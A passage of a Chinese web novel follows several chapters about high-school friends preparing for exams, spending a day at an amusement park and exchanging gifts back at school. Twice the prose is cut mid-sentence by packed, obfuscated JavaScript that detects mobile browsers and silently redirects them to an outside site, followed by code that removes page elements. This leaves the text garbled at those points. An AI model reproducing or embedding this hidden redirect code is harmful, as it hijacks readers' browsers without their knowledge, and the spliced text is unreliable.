大家齐齐瞪大了眼睛,待反应过来后,班上瞬间炸开了锅。 ———— “不够意思,太不够意思了!这么重要的事,你们竟然背着我们偷偷做了!” 第二天沈安宴和贺晴天返校时,刚一进班,就受到了以林跃打头一帮人的控诉。 江小松道:“晴儿,亏咱们俩还是发小呢!秘密行动这事儿你竟然不带我!” 陈杉道:“我就在隔壁宿舍,你出去的时候怎么不把我也叫上呢!” 林跃把沈安宴摇得直乱晃:“我也想夜探校园!我也想破案抓人!我也想经历一场酣畅淋漓的速度与激情啊!” 解释完前因后果的贺晴天无奈道:“我也是一拍脑袋临时决定的,没想那么多。” 沈安宴被摇得想吐,她忙按住林跃的胳膊,威胁道:“再晃真吐你身上了啊!” 林跃忙收回了胳膊,只是眼神看起来还有点儿幽怨。 沈安宴道:“又不是什么好事儿,你当天天晚上熬夜蹲点是什么舒服的事儿吗?而且这事儿本来也是人越少越方便,咱们乌泱泱一堆人围在教室里,不被发现才怪!” 林跃这才勉强原谅了对面两人的独自行动。 沈安宴揉了揉脑袋,又问道:“对了,昨天学校开年级大会了?怎么说?” 林跃道:“就是通报批评了七班那个人,又把你们俩稍微提了一下,不过没夸,估计是觉得你们违反校规了。” 江小松有点愤愤不平:“规矩是死的人是活的,晴儿宴儿她们俩可是办了学校半天办不成的事儿,通融通融怎么了?” 贺晴天道:“没处罚就算是通融了。不过还是有好处的。” 陈杉问道:“什么好处?” 贺晴天道:“奖励了我们六科的模拟套卷。” 众人:…… “咳。” 贺晴天没忍住笑了笑:“当然,不止这个,还有呢。” 她从兜里掏出一张金色的卡,上面画着漂亮的卡通图案,中间是极有标志性的摩天轮。 “年级主任送了我们这个,市中心新开那家游乐场的体验卡,不限人数,有十次免费的体验机会。” 林跃的眼睛瞬间亮了。 陈杉轻咳一声,温和地笑道:“好小宴,好班班——” 江小松道:“晴儿,咱们的发小情!宴儿,咱们的姐妹情!” 沈安宴莞尔:“我没问题。” 贺晴天笑道:“那这周末,一起?” 不过在周末的游乐园之行前,大家首先要应对的是即将到来的月考。 考试安排在了周四下午和周五一整天,恐吓事件的风波过去后,大家彻底进入了复习备考的氛围中。 因此这几天,周围人面上都是一副要死不活的表情。 连平日里精力最旺盛的林跃也不撒欢了,每天爬桌子上复习时像老僧入定了似的。 沈安宴和贺晴天两人在这些天也变得炙手可热起来。办公室每天跑去问题的人爆满,一些同学挤不过,就另辟蹊径来请教这两位了。 “舟儿,知道你跟宴儿关系更近,但先让我问完这道题吧,不然我真要死了。”江小松诚恳道。 沈安宴原本每周都要空上两三天晚自习去给陆舟辅导学习,但这几天来问她题的同学很多,她便停了晚上的家教业务,待班里帮周围同学解疑答惑了。 陆舟也无所谓,对方来不了自己的班,他便跑来找对方。每次晚自习一下都要借着“请教”的名头来和沈安宴搭话。 要是一班那天看晚自习的老师不严,他还会直接待对方班里上自习。 江小松好容易挨到了下课,想抓紧这短短的十分钟来问沈安宴数学最后一道大题该怎么写,结果被陆舟先截了胡,只得厚脸皮插个队。 陆舟反正又不是真心想学,又听见对方说自己跟沈安宴关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248041|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更好,不禁心花怒发,立刻高高兴兴地同意了。 江小松便摊开习题册,期待地向沈安宴指了自己不会的题目。 沈安宴看了一眼,诧异道:“你确定要问这道题吗?很难的,复习的话复习基础题更有效果。” 江小松道:“我知道。这不是陈老师把这道题重点标注出来了吗,不然我肯定看都不会看一眼。” 林跃听了两人的讨论,立刻转头看了那道题一眼。 “噢!这道圆锥曲线的题啊,我也不会呢。本来想放在最后做,既然现在要讲的话,那让我也听听呗。” 贺晴天和陈杉也凑了过来。 “这题是很难,我觉得性价比不高就直接跳过了,小宴你有思路吗?”贺晴天问道。 陈杉对这种难题一向持“打不过就直接放弃”的态度,不过见周围的小伙伴们都要听,就也喊着要挑战自我极限听一听了。 想听的人还挺多,沈安宴一时犯了难。 她说道:“这么多人围着不好讲,肯定有人看不到演算过程,要么两个两个的来听?” 陆舟见状提议道:“你直接到黑板上去讲嘛,不就都能听到了?” 沈安宴一拍脑袋,自己真是讲题讲糊涂了,这么简单的道理都没想通。 她拿上习题册,站讲台上去讲了。 沈安宴的位置便空了出来,陆舟索性坐在了对方位置上,那态度相当自然,好像这本来就是他的座位一样。 江小松嘴巴一撇,她本来想坐到沈安宴座位上的,没成想被人捷足先登了,只得拉了个没人坐的空凳子来,在贺晴天旁边坐下了。 有人注意到沈安宴的动作,出声问道:“哎,盛宴,你要讲题吗,讲哪道?” 沈安宴道:“大册第三十八页最后那道。” 班上人听了,大部分同学也将习题册拿出来翻到了那一页,接着又有人应声:“哎,这道题好难,我也听一下吧。” 周围人纷纷附和。 见大家都要听,沈安宴便不再压着声音。她抽出粉笔,在黑板上一边写过程,一边给大家梳理这道题的思路。 底下同学都听得认真,有时候部分人没跟上,就举手将自己的疑问提出来,沈安宴也会耐心解答。 等一道题讲完,大家基本都听懂了。有部分没懂的问一问左右,也差不多能搞懂。 沈安宴放下粉笔,正准备下去,就见主任不知什么时候站在了班门外,正举着手机拍照。 沈安宴有点疑惑:“老师?” 主任笑着道:“没事没事,你们继续。这个习惯很不错啊,值得表扬,以后要继续保持。” 沈安宴点了点头。 下节晚自习是班主任姜老师看的,陆舟没有多留,上课铃一响就离开了教室。 姜老师进来时笑呵呵的,她走到沈安宴身旁,问道:“刚刚你给同学们讲题了?” 沈安宴应了声“是”。 林跃道:“老师,小宴讲得可好了,我们一下子就听懂了!” 姜老师道:“很不错,刚刚主任在年级群里还夸了你们呢。” 陈杉道:“老师,那我们表现得这么好,有没有什么奖励啊?” 姜老师想了想,笑着说:“这样吧,等这次考完,只要成绩够看,我就腾出一节语文课给你们放电影,怎么样?” 陈杉本也是随口一说,没想到真能应验,一时间惊喜地瞪大了眼睛。 周围听到这句许诺的同学也沸腾了起来,有后排没听到的同学见前面人喊“谢谢老班”、“老姜真好”喊得火热,忙向周围人打听发生了什么,了解到事情的缘由后,也立刻跟着喊了起来。 原本因考试带来的疲惫氛围一松,空气里都盈满了快活的味道。 24. 乐园 这次的月考中规中矩,不像开学那样变态级别的难。虽然考完大家照旧会说“难死了”、“要砸了”一类的话,但大多是出于谦虚,面上看着还是很有底气的。 最后一门的考试结束的铃声响起,沈安宴停了笔,从座位上站起来由前往后收答题卡。这次月考座位是按照开学考排名安排的,她坐在第一列第一个位置,每场第一列的答题卡基本都是由她来收。 考场的人她大部分都认识,基本都是前两个班的学生。沈安宴后面两个座位分别是贺晴天和顾辞江。 收好了卷子,沈安宴将第一列的答题卡交了上去。接下来没课,恢复好教室的桌椅就可以直接回家了。 沈安宴所在的第一考场就是她们原本的教室,贺晴天正挪动着自己的桌子,江小松背着书包从教室外走了进来,先和沈安宴打了声招呼,就凑到贺晴天旁边帮对方搬椅子了。 “快点快点,我妈来接我,等会儿咱们俩刚好一起回去。”江小松道。 贺晴天点了点头,两人很快收拾好了座位,同沈安宴道别离开了。 沈安宴不急着走,她出去搬桌子时,正好遇到从班里出来的顾辞江。 她眼睛一亮,追上去问道:“你这周末有时间吗?” 顾辞江看她一眼,问道:“怎么了?” “我打算周末去市中心的游乐园玩,要不要一起?” 顾辞江摇了摇头,拒绝道:“我周末还要补课,应该去不了。” 见对方露出有些失望的神色,他犹豫片刻,又补充道:“下次吧,如果我周末有空的话,再陪你一起去。” 待对方离开后,沈安宴走去过道,正准备搬东西,忽然有人从背后揽住了她的肩。 带着盈盈笑意的声音在她耳边响起。 “小宴老师,什么事这么不开心?” 沈安宴朝来人看去,正是陆舟。 她道:“没有不开心,你怎么来了?” 陆舟道:“好不容易考完试,当然要好好放松一下。怎么样?待会儿要不要一起出去玩?” 沈安宴道:“不了,明天约了朋友一起去游乐场,今天要好好休息一下。” 陆舟立刻道:“我也要去!我也是你的朋友,你怎么都不邀请我?” 沈安宴无奈道:“这不是怕你不感兴趣吗?那一起?就是市中心那家,早上九点集合。” 陆舟这才满意,他笑道:“那就这么说好了。” 沈安宴回到租房后,早早就歇下了。等第二天起床,洗漱过后,她提前半个小时到达了目的地。 游乐场新开,为了招揽游客推出了很多活动,入口前到处都悬挂着气球彩带,还有穿着玩偶服的工作人员和小朋友们合照。 沈安宴很快找到了贺晴天,对方竟然比她来得还早,正站在树荫下观看着不远处的杂技表演。 她今天穿了一件米白色的上衣,下身则是明黄色的喇叭裤,整个人看起来明艳又温柔。 贺晴天也很快发现了对面的沈安宴,笑着同对方招了招手。 沈安宴加快脚步走了过去,笑着道:“我还以为我会是第一个来的呢,没想到你比我更早。” 贺晴天道:“早来早放心嘛,我家离这里比较远,今天又是周末,车流量大,我怕出发晚了路上堵车会迟到。” 两人没聊一会儿,很快又有人到了。 周天一副还没睡醒的样子,打着哈欠向两人招了招手,朝这边走了过来。 她穿的很是简单,一件白色卫衣,一条黑色休闲裤,就没有其它多余的装饰了。 最初响应要去游乐园的,只有林跃、陈杉、江小松三人。之后林跃又邀请了隔壁班的李欣然,江小松则带上了周天,沈安宴又加上了陆舟,零零散散加起来,这趟游乐园之行凑齐了八个人。 沈安宴看了下手机,离约好的时间还有二十分钟,她笑道:“你来的挺早啊。” 周天道:“习惯了。” 正说着,沈安宴忽然听到背后响起了一道熟悉的声音。 “盛宴!” 她回头看去,眼睛倏然一亮。 来人正是陆舟,他一边挥手一边朝这里跑来。 对方今天的穿着极其亮眼,一件黑色的无袖上衣,印有设计感十足的英文图案,领口很低,精致的锁骨就这么明晃晃地露了出来。脖子上又戴着一条翡翠项链,那点幽深的墨绿点缀其间,和银色的耳坠十分相称。外边则松松垮垮地套了件夹克衫,露出了肌肉线条流畅漂亮的肩膀和手臂,那肌肉很符合当下的主流审美,既不瘦弱,也不过分夸张,性感地恰到好处。 下身则是破洞牛仔裤,正是时下最新潮的款式。整个人看起来时尚潮流极了。 当然,对方也自觉自己今天这身打扮非常出挑,因此到沈安宴跟前后,他很得意地问道:“怎么样?我今天漂亮吧?” 沈安宴笑道:“特别漂亮。” 周天在后边翻了个白眼,同贺晴天吐槽道:“真是雄孔雀开屏。” 陆舟顺手勾住沈安宴的肩膀,听到周天这话挑眉笑道:“我可听见了啊,忌度我的衣品就直说,谁跟你一样一年四季就这么黑白两色轮着穿。” 沈安宴问道:“你们两个认识?” 陆舟解释道:“家里有生意往来,之前见过几次。” 没过一会儿,江小松也到了,对方穿着和贺晴天同色系的服装。有她在就不用担心没话题聊会尴尬的问题了,自从她到了后,几人之间根本没冷过场。 林跃和李欣然是一起来的,两人的打扮差不多,都穿着运动服和运动鞋,非常适合撒欢畅玩。 唯一不同的是,李欣然身上多背了一个包包,上面挂了很多印有同一个人不同照片的徽章,看起来很是独特。 见沈安宴看了自己的包包好几眼,李欣然问道:“你也喜欢小C吗?我看你一直盯着我的痛包。” 沈安宴有点疑惑痛包这个名字,什么意思,背上会痛的包包吗? 她道:“就是觉得很特别。这个人叫小C吗?很好看。” 李欣然的追星属性被触发了,她眼睛一亮,条件反射地开始向对方安利起小C,从成名经历到代表作品,再到未来展望,要不是林跃及时拉住了好友,恐怕她能说上一天也不够。 时针走到九点,不出意外,最爱踩点的陈杉这次也踩着点到了。 她双手叉腰大喘着气,庆幸道:“还好还好,没有迟到……” 陈杉身上也背着一个挂满徽章的包包,和李欣然不同的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266923|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的包包徽章上印的是各种二次男角色照片。 这个沈安宴知道,毕竟陈杉的座位就跟自己隔了一个走廊,对方曾多次向她展示自己的纸片人男友,并倾情安利沈安宴也下载一个游戏试试。 不过都被沈安宴委婉拒绝了。 见人到齐了,由贺晴天带头,几人到了入口处排队。 她们来的还算早,排队并没有花太长时间,很快就检票进了游乐场。 春日乐园位于市中心,是海城最大的游乐园区,贺晴天昨晚做好了攻略,此时拿了园区地图同伙伴们商量游玩路线。 “这里最火的三个游乐项目分别是旋转木马,摩天轮和过山车。我的想法是,大家可以先到旋转木马那里打卡拍照,然后看一看花车巡演,路上遇到哪个项目人少就玩哪个。咱们中午晚点吃饭,一点左右是用餐高峰时段,我们可以在这个时间去玩过山车,刚好能错开人流,然后再去吃午饭。吃完再去玩鬼屋,然后参观童话系列展厅,等晚上玩摩天轮和看烟花表演,怎么样?” 一行人里除了贺晴天和林跃,基本都是不爱做计划出来玩只负责跟着走的人,大家自然没有异议。 陈杉赞叹道:“不愧是班长,出来玩儿有你就是放心!” 沈安宴对旋转木马这种小孩子才玩儿的项目没什么兴趣,不知道这地方是怎么成为大热门景点的。 不过等到了目的地,亲眼见识过一番后,她方才明白这大热门来的可真是不掺一点儿水分。 先是体积,那旋转木马目测能有学校半个操场的大小,听工作人员说坐上去绕完一圈至少需要十分钟左右。设施整体以白金为主,风格偏像西方中世纪的教堂,木马也不是卡通可爱造型的,而是偏向于真正的高大威风的骏马,有飞马,路马和独角兽三种类型,体型足有一个成年人那么高,色彩淡雅柔和,非常符合年轻人的审美。 沈安宴来之前嘴上说着好幼稚她绝对不会玩,等真见到了这漂亮矫健的木马,瞬间就反悔想坐了。 贺晴天及时按灭了她的冲动,指了指旋转木马入口处的队伍:“咱们要是非要跟这个杠上,估计要排到中午两三点了。” 沈安宴看了看那一眼望不见尽头的长队,默默听从了对方意见,依依不舍地在这里拍了好几张照片。 周围和她们抱有同样打算的游客也不少,都聚在外围拍照,其中以年轻人居多。 有几个看着和她们差不多大的男生嘻嘻哈哈地在一旁推搡嬉笑着,时不时还要朝沈安宴的方向看过来几眼。 过了一会儿,那群男生中间出来了两个人,结伴走到了沈安宴身前,其中一个模样清秀的男生腼腆地问道:“那个,同学,方便加个联系方式吗?” 结伴的朋友有点无语地推了他一把:“这又不是在学校,叫什么同学啊?” 清秀男生有点不好意思地挠挠头,致歉道:“太紧张了,抱歉抱歉。” 沈安宴道:“没事儿,我们本来也是学生。” 清秀男生问道:“那联系方式……” 陆舟忽然走了过来,用胳膊虚虚环住了沈安宴的脖子,又将脑袋亲昵地搭在了对方肩上,接着笑眯眯地看向对面的男生。 “不好意思哦,我不太喜欢别人加她的联系方式呢。” 25. 烟花 陆舟的好看本就是那种浓墨重彩式的好看,尤其笑起来时,浓稠艳丽的好相貌让周围人都会不由自主地将目光放在他身上。 清秀男生下意识有些自惭形秽,接着又从对面两人亲密的动作中意识到了什么,忙致歉道:“对不起,我不知道你有男朋友了,实在不好意思。” 他说完这句话,就忙拉着好友离开了。 沈安宴的神色有些迷惑。 陆舟松开环住对方的胳膊,又和她拉开了一点距离,这才笑着说:“帮你个忙,难不成我好心办坏事了,你想加那个男生的联系方式?” 沈安宴道:“没有,本来也打算拒绝的。” 林跃打趣道:“哎呀,小宴,很受欢迎嘛!” 沈安宴有点无奈,不过这种情况于她而言并不算新鲜,毕竟从上初中开始,明里暗里对她表示过好感的人几乎数不胜数,她对此已经习惯了。 李欣然看了一眼陆舟,又看了一眼沈安宴,脸上浮现出了一点纠结的神色,不知道在想什么。 陈杉最后一个拍完了照片,走过来催促道:“我好了,咱们快点去看花车巡演吧!” 花车巡演也是春日乐园的重头戏之一,从十点整开始第一场,之后每隔四小时举办一次,每天总共巡演四场。沈安宴她们正好能赶上首演。 各式各样华丽的马车被卫队簇拥着,在乐园街道上游行。挺拔英气的公主身着白色西装,腰间悬着利剑,站在最前方向人群招手。在她身后,则端坐着漂亮的王子,也是长衣长裤,但多了不少项链、耳坠、头冠一类的饰品,衣服也比公主繁复华丽得多,像是一座精美的艺术品。 马车后跟着身穿玩偶服的表演者,扮演着动画电影里的大热角色,向两边人群抛撒着各种小礼品。 沈安宴几人都接到了礼物,打开一瞧,有的是糖果,有的是周边,有的是抽奖券。 沈安宴抽到了一只小狗挂坠,这是一部推理类电影中的角色,电影名好像叫动物侦探社,小狗侦探是里面的主角。 陆舟抽到的是水果糖,他将糖果给沈安宴分去,注意到对方手上的挂坠,笑着说道:“噢,是这个,我小时候特别喜欢看这个电影,最喜欢的角色就是她了。” 沈安宴接过糖果,又将挂坠递给对方,问道:“那送给你?” 陆舟笑道:“不用啦,我家里已经有很多了。而且你觉不觉的,你和她还蛮像的。” 沈安宴挑了挑眉,将那只小狗凑近看,棕色皮毛,豆豆眼,手上举着一只放大镜。她没有看过电影,不知道自己哪里和这位小狗侦探像了。 贺晴天听到两人的对话,也凑过来看那只棕色小狗,忍不住笑道:“是很像。” 沈安宴不解:“哪里像了?” 贺晴天道:“性格吧,你们都很聪明,而且沉稳不怕事。” 陆舟道:“你没看过这个电影吗?” 沈安宴道:“嗯……其实我家里穷,小时候没钱看电影。” 周天翻了个白眼:“这话说出来你自己信吗?” 倒不是周天不愿意信,一般情况下,家中条件困难的孩子,身上难免会表现出敏感、胆怯或者偏激的特质,再掩饰也会从细节处显露。而沈安宴不同。对方举手投足间尽是从容,甚至到了有些懒散的地步。为人处世分寸感又强,礼节更是一个不落,这是富裕人家才容易养出的孩子。林跃她们对此或许不关注,但周天却很了解,因为她本人差不多也是这种性子。 林跃她们显然也没怎么信,还当对方是开玩笑,七嘴八舌地打趣起来。沈安宴没在意,跟着一起笑了起来。 只有贺晴天和陆舟没有笑。 贺晴天是记得和对方去警局那次,离开时沈安宴家里没人来接,还是坐班主任的车回去的。因此她心里大概有了点猜测。 陆舟则更为直接,毕竟沈安宴可是自己的家教,他从管家阿姨那里了解过对方的信息,自然清楚她的背景。 贺晴天咳嗽一声,打断了几人的谈笑:“好了,花车巡演差不多看完了,咱们接下来去哪里玩?” 林跃踮起脚尖向远处眺望一番,惊喜道:“海盗船那里排队的人特别少,咱们快去!” 沈安宴眼睛一亮,率先向那边跑去:“我最喜欢这个,快走快走!” 众人齐齐奔去。 坐上海盗船后,沈安宴系好了腰带,转头见身侧的陆舟有些手忙脚乱不知道该怎么系,又探过身子帮对方系好。 “咔哒”一声轻响,锁扣被扣好了,沈安宴直起腰,拉了拉腰带,确认过没问题后,笑着道:“行了,这样就没问题了。” 陆舟的心跳微微快了一拍,他轻咳一声,笑道:“谢谢小宴老师。” 离海盗船启动还有一点时间,隔壁的贺晴天也在检查左右有没有系好安全带,江小松则激动地直跺脚,被周天以“吵死了,安静点”为由……没制止成功,江小松这种人来疯,别人越不要她做什么,她还偏要做什么,因此更加使劲地去烦周天了。 前排的林跃正新奇地左右张望,感叹着上面儿的视野真是不错,陈杉则说等晚上坐摩天轮视野肯定更好。李欣然举起了自己的痛包,和上面的徽章合影,合完了又招呼左右一起再来合拍一张。 贺晴天见状又开始操心,喊李欣然快把手机收起来,小心待会儿船发动了手机没收好又掉下去。 沈安宴看得正乐呵,忽然察觉到身侧人凑近了她。 陆舟小声问道:“刚才……你有没有不高兴?” 沈安宴疑惑道:“不高兴?没有啊,怎么突然问这个……” 她意识到了什么,不禁莞尔:“噢,我知道了,没事的。” 正说着,海盗船缓缓移动了起来,两人忙握好身前的扶手,船只向高处摆动,接着快速俯冲下来。 耳边响起一片惊呼。 船越摆越快,直到将游客们抛至最高点。沈安宴玩儿得畅快极了,坠落时带来的失重感令人兴奋又刺激,隔壁江小松和身侧的陆舟又是喊又是笑的。 待船停下后,众人都有些意犹未尽。游玩计划虽是贺晴天提出的,但接下来玩儿哪个项目则是由林跃和江小松牵头。这两位浑身上下都是使不完的牛劲儿,跑得最欢,上蹿下跳地帮大家找哪个项目排队的人少。 因此大家游玩的效率也高,一个上午不仅如期坐了乐园最出名的过山车,又玩儿了大摆锤、跳楼机、水上飞车等等一系列项目,其中大摆锤沈安宴婉言谢绝了,毕竟她喜欢的是失重带来的刺激,而不是把人三百六十度疯狂旋转待下来后只剩下想吐的欲望。 坐完过山车,贺晴天给了几个餐厅推荐。 “喜楼性价比最高,森林餐厅听说氛围不错,不过食物的味道就有点不敢恭维了。云上茶馆的饭菜花样最多,味道也好,就是价格是所有餐厅里最贵的……” 网上冲浪强度最高的李欣然附和道:“噢,云上我也刷到过,好评特别多,不过价格也贵得离谱,最便宜的菜都够我搓一顿烧烤的钱了。” 陈杉刚想说那就不考虑这个了,又不是吃了能成神仙,何必花那冤枉钱,就听见两道声音异口同声地响起。 周天:“没事,我请。” 陆舟:“这有什么,我请客!” 江小松乐了:“要么你们俩先商量好?” 陆舟道:“我请我请,本来就是我主动要跟过来的。” 周天也没强求,没再跟对方抢请客的机会。 人比较多,几人到餐厅后直接订了个包间。 陈杉一进来就忍不住感叹道:“不愧是最贵的餐厅,果然有格调。” 云上茶馆既然带了云上两个字,自然是建在高处的。乐园里除了摩天轮,就数这里的建筑最高。屋外的餐桌是露天放置的,屋内的包厢虽不露天,但正对着门一侧的墙壁用整面落地窗代替了,都可以一览无余地看到乐园的场景。 餐厅还用了不知是什么东西运作,从进来到现在,地板上到处都浮动着洁白的霜雾,真像是置身于云端之上。 里面没有刺鼻的味道,而是涌动着清浅的茶香,闻着沁人心脾。 大家落了坐,服务生递来了菜单和热毛巾,又将餐具一一消毒放好。 林跃和李欣然凑在一起看,先是为册子上菜品之精致惊叹一番,又为底下的价格咂舌一番。 沈安宴想了想,率先拿起菜单开始点菜,她朝陆舟问道:“那我就点我喜欢的了?” 陆舟道:“行啊,随便点。” 沈安宴随手点了几份合眼缘的,接着周天也点了自己想要的,其她人方才也点了各自喜欢的菜品。 上菜的过程也非常新奇,有需要浇水才能长出来的蘑菇盆栽盖饭,或者用火烧过后露出藏在书中的牛排,杂技似的切割生鱼片…… 江小松笑道:“这下好了,不仅吃了饭,还赚了一场魔术表演。” 大家听完都笑了起来。 菜很快上齐了,大家一尝,味道还真是不错。 陆舟见沈安宴一直没吃海鲜,还当对方夹不上,便给她夹过去了一块生鱼片。 沈安宴道:“嗯?怎么突然给我夹这个?” 陆舟道:“很好吃的,你试试?” 沈安宴便蘸着酱汁吃了,她嚼了三两口,很快将鱼片咽了下去。 陆舟见对方吃得快,还当她喜欢,准备继续夹。 沈安宴忙制止道:“不用了不用了,我不喜欢吃生的东西。” 江小松听了惊奇道:“哎,你不喜欢吃生食吗?我感觉还蛮好吃的,吃起来又新鲜,还甜甜的。” 沈安宴道:“好吃是好吃,就是不习惯。” 林跃道:“我懂,我喝水都是冷热对半接的。而且吃太多生冷对身体也不是很好。” 陆舟便没再给对方夹鱼片,而是换成 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背景发生在上个世纪的冬日,地点是火车站,火车是那种老式的绿皮火车,天花板上投影着蓝天白云,墙壁上则画着火车站的场景,铁轨和火车是真实的,里面大概藏有音响,模拟出了火车发车时的嗡鸣声响,车头还打着明亮的黄光。周围还有装扮成乘客的工作人员,倒还真有些令人身临其境的真实感。 大家拿了剧本,大概剧情是这辆火车被犯罪分子盯上,在里面装了定时炸弹,玩家是时空管理局的人,需要来到这里寻找线索,在规定时间内推理出炸弹的位置,最后进行拆除。如果不成功,就会陷入循环,直至成功拆除炸弹为止。 待几人进来后,因为现代服装与这里格格不入,乘客们频频向她们看去。其中一个乘客大娘还招呼了一声:“妮儿啊,这么冷的天,只穿这点儿可不成!” ……外面二十多度的天,里面的低温是空调制冷出来的。几人有些想笑,但看在工作 人员尽业的表演上还是忍住了。 大家配合地同乘客们打听消息,又走进火车开始寻找藏在旮旯角落里的线索。 副本内容的确精彩,大家很快就沉浸在了剧情中,其中以贺晴天和沈安宴最为出彩,大部分思路都是她们两人提供的。 大家第一回合就成功找到了炸弹,拆除后,欢快的游戏通关声从音响里播报出来。扮成乘客们的工作人员也配合地大呼小叫起来,后怕地议论着车上竟然有炸弹,还好被发现了,不然真就要把命搭在这里了。 沈安宴闭了闭眼,感觉自己也要被尴尬到没命了。 离开鬼屋时,几人还得到了一个意外之喜,因为是首次通关,工作人员送给了她们每人一个抽奖券,可以在十点钟到喷泉广场兑奖。 之后几人到童话镇参观,这里游玩面积很大,建筑仿照西方乡村小别墅的风格,色彩鲜艳华丽,街上还有穿着骑士装或者长裙的演员闲逛,游客们可以上前去合影。美食街的摆摊小贩也是欧式的打扮,卖的食物礼品也是一脉相承的风格。 大家一路吃一路逛,直到天黑才堪堪逛完。 贺晴天道:“时间差不多了,咱们去摩天轮吧。” 摩天轮的最佳游玩时间是晚上,这回排队要花费的时间是不可避免的。等队伍排到她们后,贺晴天忽然提出要再等一会儿,让后面愿意先玩儿的人让了上去。 等到八点四十分,她才开口说可以走了。 座舱一只可容纳四人,沈陆贺江一组,李林陈周一组,大家分批上了相邻的两个小吊厢。 吊厢沿着转轮缓缓上升,江小松趴在玻璃上,睁大眼睛盯着越来越小的地面,嘴里发出“哇——”的惊叹声。 天色已经完全黑了下来,乐园的灯光全部打开了,俯瞰下去,像是黑布上镶嵌了无数细碎美丽的钻石,连成了一片璀璨夺目的光带。 贺晴天看了眼时间,笑着提醒道:“快了,烟花表演就要开始了。” 这也是她们一定要踩点儿来坐摩天轮的原因,烟花表演在九点钟开始,这个时候摩天轮正好快要上升到最高点,是欣赏表演的最佳地点。 一声清响,华光自地面冲上高空炸开,无数烟花在夜空下绽放,映得黑幕亮如白昼。沈安宴她们离烟花最近,近距离观赏的烟火盛宴极具冲击力,好像那绚烂多姿的繁华将她们包围起来了一般。 周围吊厢里的人纷纷拿出了手机拍照,沈安宴对拍照的兴趣不大,一是她不喜欢拍,二是她的手机像素一般,就算拍了也不好看。还不如就这么静静欣赏更有意思。 满天烟火中,有人喊了她的名字。 “盛宴!” 沈安宴回过头,就见身侧的陆舟凑了过来,他一手拿着手机,一手揽住了她的肩膀,手机屏幕映出了二人的身形,还有背后朵朵绽放的烟花。 随着“咔嚓”一声,少年们的映像被定格在了此刻。 26. 新课 乐园之行结束后,沈安宴回租房瘫了一天,才恢复好了疯玩一整天后匮乏的精力。 临睡前刷手机时,她看到朋友圈里伙伴们分享出的日常。 林跃去了运动场打球,还发了自己离开时的照片,夕阳下,少年一手拿球拍一手拿羽毛球的影子映在地上,看起来分外有生命力。 江小松去了隔壁市新开的昆虫馆,朋友圈里是她拍下的各类昆虫九宫格,文案还详细描述了这些昆虫的学名与生活习性。 看得沈安宴不由叹气,真是年轻人,就是有活力。 贺晴天在图书馆泡了一整天,李欣然分享了自己偶像新出的歌,陈杉则发了一句话:今晚一定争取十点钟睡觉,绝对不会再熬夜了! 周天的朋友圈和她本人一样,点进去空空如也。沈安宴难得有了点惺惺相惜的感觉,看来还是有人和她一样无法高强度连轴转的。 再往下划,她看到陆舟发布的朋友圈,时间是昨晚凌晨,是昨天两人在摩天轮上拍的照片,内容只有一句话:圆满落幕。 沈安宴顺手点了个赞。 陆舟很快给她发来了消息。 陆舟:[探头] 陆舟:小宴老师还没睡? 盛宴:准备睡了,就是睡前习惯刷一会儿手机再睡。 陆舟:看到小宴老师给我的朋友圈点赞了,拍的照片好看吗? 盛宴:很好看。 陆舟:[可爱] 陆舟:我已经设置成手机屏保了。 两人聊了一会儿,就互相道了晚安去睡觉。 第二天来学校,沈安宴刚在座位上坐下没一会儿,就见江小松风风火火地跑来了班里。 现在班里人不多,沈安宴周围只来了贺晴天。江小松在沈安宴对面坐下,从包里翻出了一堆标本。 “我昨天逛昆虫馆买的,有买十赠十的活动,就捣鼓了一大堆。你们看看,有没有喜欢的,随便挑!” 沈安宴把装早餐的书包借放到了陈杉桌上,给对方的昆虫标本腾出了位置。贺晴天闻言也感兴趣地凑了过来。 标本大多是蝴蝶,也有部分金龟子蜻蜓一类的昆虫。 贺晴天道:“这蝴蝶好漂亮。” 江小松道:“是吧,我拍了好多照片呢,太好看了,我恨不得以后能开一家蝴蝶馆。” 沈安宴问道:“有没有你最喜欢的,我就不横刀夺爱了。” 江小松道:“没事,能被我买下的都是我喜欢的,既然都说了要送,就不计较这些了。” 沈安宴便放心挑了。她选了一只深蓝色的,贺晴天则选了一只颜色由黄到橘渐变的蝴蝶。 江小松笑道:“哎,你们眼光真好,这也是我觉得最漂亮的!” 林跃这时也进了班里,她在江小松的肩膀上拍了一下,挑眉笑道:“正主来了,还不赶紧给我让座?” 江小松往后一瘫,不仅不起来,还把对方半张桌子也占了去。 “喔……我给你让座啊?那带过来的小礼物要不要一起让?” 林跃瞬间和颜悦色地笑道:“哎,这是什么话,能让您老人家坐我的座位是我的荣幸,请请请!” 沈安宴跟贺晴天见状都忍不住笑了起来。 林跃凑到跟前,将每个标本细细打量一番,最后说道:“哎,我喜欢班班那个黄蝴蝶!” 贺晴天笑道:“噢,有眼光,可惜先到先得。” 林跃假装气闷地瘪了瘪嘴,最后挑了一只粉色翅膀的蜻蜓。 江小松问:“哎,我要不要等陈杉来?她老是踩点儿,或者我等早读下了再来找她?” 贺晴天道:“这有什么区别,你不每节课下都要过来的吗?” 江小松“嘿嘿”笑了两声,在沈安宴这儿顺了两个肉包子,带上自己装标本的书包走了。 一班第一节课是姜老师的课,早读刚一下,她就进了班上。 